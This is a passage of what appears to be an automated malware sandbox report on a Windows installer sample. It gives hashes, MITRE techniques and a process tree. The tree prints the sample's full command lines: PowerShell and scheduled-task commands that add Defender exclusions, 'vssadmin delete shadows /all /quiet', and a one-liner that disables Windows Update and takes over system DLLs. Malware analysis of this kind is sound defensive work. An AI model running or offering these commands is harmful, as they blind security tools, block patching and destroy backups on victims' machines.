ee74bccd1af36d2595f4c074d7f2c011525d410b58ae5aa87d7855f2edf6dc18

Analysis

max time kernel
137s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/10/2026, 03:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.05.exe
Size 30.5MB
Sample261025-dn5j5att7m
SHA256 ee74bccd1af36d2595f4c074d7f2c011525d410b58ae5aa87d7855f2edf6dc18
MD5 1bd9384d67891305233282bd106fdc71
SHA1 075f1d88d19ecb6d7af1cdc78e7ee2bfcd6454cb
SHA512 9ce54bf75c5bb063d05f36377bce01e0b0ba294b1133bb5a5524ee0bd7c4666db85e0effa39648fda74dc2264958051832f8d9948de57b85094a585096e92151
SSDEEP 196608:GZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCY0:FC/p+HuPOc4J
TLSH
T15D67181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\JDPuO5 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4560	powershell.exe
4204	powershell.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
4272	icacls.exe
2176	icacls.exe
5440	icacls.exe
5368	icacls.exe
4940	icacls.exe
3740	takeown.exe
4564	icacls.exe
2772	icacls.exe
3192	icacls.exe
3336	icacls.exe
4508	icacls.exe
428	icacls.exe
5196	icacls.exe
5032	icacls.exe
5048	icacls.exe
708	icacls.exe
2020	icacls.exe
4628	icacls.exe
256	icacls.exe
2540	icacls.exe
4736	icacls.exe
5096	takeown.exe
1924	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 2 IoCs

pid	Process
5436	fDfBdR.exe
5296	fDfBdR.exe

Loads dropped DLL 2 IoCs

pid	Process
5436	fDfBdR.exe
5296	fDfBdR.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5096	takeown.exe
5368	icacls.exe
5048	icacls.exe
256	icacls.exe
5032	icacls.exe
2540	icacls.exe
2772	icacls.exe
428	icacls.exe
5196	icacls.exe
2176	icacls.exe
708	icacls.exe
2020	icacls.exe
1924	icacls.exe
4940	icacls.exe
4564	icacls.exe
4628	icacls.exe
5440	icacls.exe
3192	icacls.exe
3740	takeown.exe
4272	icacls.exe
3336	icacls.exe
4736	icacls.exe
4508	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\JDPuO5\\fDfBdR.exe\""	fDfBdR.exe

Indicator Removal: Clear Persistence 1 TTPs 9 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4316	cmd.exe
5528	cmd.exe
5100	cmd.exe
588	cmd.exe
1380	cmd.exe
3272	cmd.exe
4480	cmd.exe
4464	cmd.exe
4112	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	fDfBdR.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\nps76r	fDfBdR.exe
File created	C:\Program Files (x86)\nps76r\image.png	fDfBdR.exe
File opened for modification	C:\Program Files (x86)\nps76r\thumbs.db	fDfBdR.exe
File created	C:\Program Files (x86)\nps76r\5ey5Uj.exe	fDfBdR.exe
File created	C:\Program Files (x86)\nps76r\XPSPLOG.dll	fDfBdR.exe
File created	C:\Program Files (x86)\nps76r\thumbs.db	fDfBdR.exe
File opened for modification	C:\Program Files (x86)\nps76r\5ey5Uj.exe	fDfBdR.exe
File opened for modification	C:\Program Files (x86)\nps76r\XPSPLOG.dll	fDfBdR.exe
File opened for modification	C:\Program Files (x86)\nps76r\image.png	fDfBdR.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4880	sc.exe
4568	sc.exe
3624	sc.exe
6052	sc.exe
2296	sc.exe
4232	sc.exe
1320	sc.exe
4696	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3708	cmd.exe
5492	cmd.exe
2428	cmd.exe
4632	cmd.exe
4044	cmd.exe
5800	cmd.exe
5780	cmd.exe
4296	cmd.exe
5028	cmd.exe
4428	cmd.exe
2900	cmd.exe
1352	cmd.exe
4104	cmd.exe
792	cmd.exe
5988	cmd.exe
3152	cmd.exe
3556	cmd.exe
4380	cmd.exe
1424	cmd.exe
1832	cmd.exe
972	cmd.exe
4408	cmd.exe
4700	cmd.exe
1292	cmd.exe
2876	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.05.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.05.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	fDfBdR.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	fDfBdR.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5888	schtasks.exe
2060	schtasks.exe
3852	schtasks.exe
1040	schtasks.exe
5744	schtasks.exe
5020	schtasks.exe
2664	schtasks.exe
2252	schtasks.exe
4688	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
3260	install.2.0.05.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe
5436	fDfBdR.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeIncreaseQuotaPrivilege	4560	powershell.exe
Token: SeSecurityPrivilege	4560	powershell.exe
Token: SeTakeOwnershipPrivilege	4560	powershell.exe
Token: SeLoadDriverPrivilege	4560	powershell.exe
Token: SeSystemProfilePrivilege	4560	powershell.exe
Token: SeSystemtimePrivilege	4560	powershell.exe
Token: SeProfSingleProcessPrivilege	4560	powershell.exe
Token: SeIncBasePriorityPrivilege	4560	powershell.exe
Token: SeCreatePagefilePrivilege	4560	powershell.exe
Token: SeBackupPrivilege	4560	powershell.exe
Token: SeRestorePrivilege	4560	powershell.exe
Token: SeShutdownPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeSystemEnvironmentPrivilege	4560	powershell.exe
Token: SeRemoteShutdownPrivilege	4560	powershell.exe
Token: SeUndockPrivilege	4560	powershell.exe
Token: SeManageVolumePrivilege	4560	powershell.exe
Token: 33	4560	powershell.exe
Token: 34	4560	powershell.exe
Token: 35	4560	powershell.exe
Token: 36	4560	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 5436 wrote to memory of 4560	5436	fDfBdR.exe	91
PID 5436 wrote to memory of 4464	5436	fDfBdR.exe	93
PID 4464 wrote to memory of 5744	4464	cmd.exe	95
PID 4464 wrote to memory of 3088	4464	cmd.exe	98
PID 5436 wrote to memory of 4112	5436	fDfBdR.exe	101
PID 4464 wrote to memory of 4600	4464	cmd.exe	103
PID 4112 wrote to memory of 4688	4112	cmd.exe	105
PID 5436 wrote to memory of 588	5436	fDfBdR.exe	106
PID 4112 wrote to memory of 5508	4112	cmd.exe	108
PID 588 wrote to memory of 5020	588	cmd.exe	110
PID 4112 wrote to memory of 6140	4112	cmd.exe	111
PID 588 wrote to memory of 4036	588	cmd.exe	112
PID 5436 wrote to memory of 4316	5436	fDfBdR.exe	113
PID 4316 wrote to memory of 5888	4316	cmd.exe	115
PID 588 wrote to memory of 5500	588	cmd.exe	116
PID 4316 wrote to memory of 5344	4316	cmd.exe	117
PID 4316 wrote to memory of 4604	4316	cmd.exe	118
PID 5436 wrote to memory of 5528	5436	fDfBdR.exe	121
PID 5528 wrote to memory of 2664	5528	cmd.exe	123
PID 5528 wrote to memory of 2064	5528	cmd.exe	125
PID 5528 wrote to memory of 4516	5528	cmd.exe	127
PID 4700 wrote to memory of 4724	4700	cmd.exe	129
PID 5028 wrote to memory of 5408	5028	cmd.exe	130
PID 1292 wrote to memory of 4508	1292	cmd.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.05.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.05.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:3260

C:\Users\Public\JDPuO5\fDfBdR.exe
"C:\Users\Public\JDPuO5\fDfBdR.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\JDPuO5\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\JDPuO5\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3088
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4688
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5508
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:588
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5888
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5344
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5528
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2664
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2064
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4516
- C:\Program Files (x86)\nps76r\5ey5Uj.exe
  "C:\Program Files (x86)\nps76r\5ey5Uj.exe"
  2⤵
  PID:1336
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:3152
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4428
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2176
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:5800
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3556
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5988
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4628
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:4044
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:4876
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:5276
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:4232
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:2296
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:3312
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:5972
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:6052
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3624
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:4068
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:1936
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:4568
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1320
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:1596
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:1056
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4880
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4696
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5096
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4940
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5048
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4508
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3740
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4564
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2540
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:256
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:3304
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:460
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:2552
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4204
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\nps76r\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3272
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\nps76r\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2060
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:912
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:6080
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:4380
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5440
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r\5ey5Uj.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:972
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r\5ey5Uj.exe" /inheritance:r
